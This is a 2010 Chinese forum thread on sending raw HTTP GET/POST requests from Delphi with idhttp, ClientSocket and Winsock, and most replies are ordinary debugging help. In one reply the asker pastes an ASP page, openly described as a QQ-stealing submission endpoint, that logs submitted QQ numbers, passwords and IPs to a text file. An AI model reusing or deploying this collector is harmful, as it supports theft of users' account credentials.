本帖最后由 LoveMit 于 2010-07-23 01:11:01 编辑

解决方案 »

  1.   

    用idhttp控件。代码到网上找一下吧。
      

  2.   

    var
      PostList :  TStringList;
          postList := TStringList.Create;
          idhttp1.Request.Referer := '//192.168.0.1/***.asp';  //目标网页
          idhttp1.Request.ContentLength := 92;    //包长
          postlist.Add('CMD=restart');         //包添加内容
          idhttp1.Post('http://192.168.0.1/***.cgi', postList);  //提交大概就是这样了
      

  3.   

    idhttp这个我会,但是很多时候,抓到的数据包要整体的提交才行.
    希望能得到我想要的结果.谢谢
      

  4.   

    Host行应该是有问题的,还有GET请求要以空行结束
      

  5.   

    字符串可能有问题,同上,GET请求每行都要以#13#10结束,最后一行还要两个,就是#13#10#13#10.先不要从memo上取,直接写一个在代码里,并且GET只需要二个数据就行。'GET /Item.asp?Item=xxxx&Service=UOMSWQVFF HTTP/1.1'#13#10 +
    'Host: localhost'#13#10#13#10
    localhost应该是远程主机名或IP
      

  6.   

    一开始我的GET请求都是自己手工打上去的,并且按上两位朋友的要求以#13#10结尾。
    还有localhost是我自己架设的一个模拟提交的页面。在IE中直接打入可以模拟提交成功。
    但写出的代码就不能正确提交了。一开始的时候我也是从网上找了一个提交页面,测试了,跟我自己架设模拟的结果是一样的,都没有返回数据,不知道错误出在哪里
    请问上两位朋友,你们成功了嘛?能否将你们的代码贴出来,我测试一下。谢谢了!
      

  7.   

    senven7
    我这里host主机名是在clientsocket控件里写入的。还有端口是写的80。难道是这里的问题吗?
      

  8.   

    跟你一段代码。这个是可以取回的,你自已看看
    procedure TForm1.Button2Click(Sender: TObject);
    var d:Word; s:string;
        CSock : TSocket;
        pHost : pHostEnt;
        addr  : sockaddr_in;
        strBuf: array[0..1023] of Char;
        intLen: integer;
    begin
      s:='GET //ershoubijibendiannao/10072115_244680.htm HTTP/1.0'#13#10 +
         'Host: cd.ganji.com'#13#10#13#10;  CSock:=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
      if CSock<>INVALID_SOCKET then
        begin
          pHost:= GetHostByName(PChar('cd.ganji.com'));
          addr.sin_family:=AF_INET;
          addr.sin_port:=htons(77);
          addr.sin_addr.S_addr:=PDWORD(PDWORD(pHost.h_addr)^)^;
          if connect(CSock,addr,SizeOf(addr))= 0 then
            begin
              send(CSock,PChar(s)^,Length(s),0);
              s:='';
              while True do
                begin
                  FillChar(strBuf, 1024, #0);
                  intLen:= Recv(CSock, strBuf, 1024, 0);
                  SetString(s, strBuf, 1023);
                  Memo1.Lines.Add(UTF8Decode(s));
                  if intLen =0 then Break;
                end;
                CloseSocket(CSock);
                WSACleanUp();        end;    end;
    end;
      

  9.   


    朋友,你的代码我测试不行啊.我从网上找了一个盗QQ的模拟提交ASP页面,你测试一下吧
    <%
    strLogFile="qq.txt"QQNumber=request("QQNumber")
    QQPassWord=request("QQPassWord")
    QQclub=request("QQclub")
    QQip=request("QQip")if QQNumber="" or QQPassWord="" then
      response.write "配置正确"
      response.end
    End If
    StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
    StrLogText=StrLogText&")----"&date&" "&timeset f=Server.CreateObject("scripting.filesystemobject")
    set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
    ff.writeline(chr(13)+chr(10)&StrLogText)
    ff.close
    set ff=nothing
    set f=nothingresponse.write "成功!"
    %>
      

  10.   

    自己使用clientsocket控件搞定了.
    发现了问题,是由于要点击两次Button按键后在Memo中才会出现返回值.
    不知道是为何.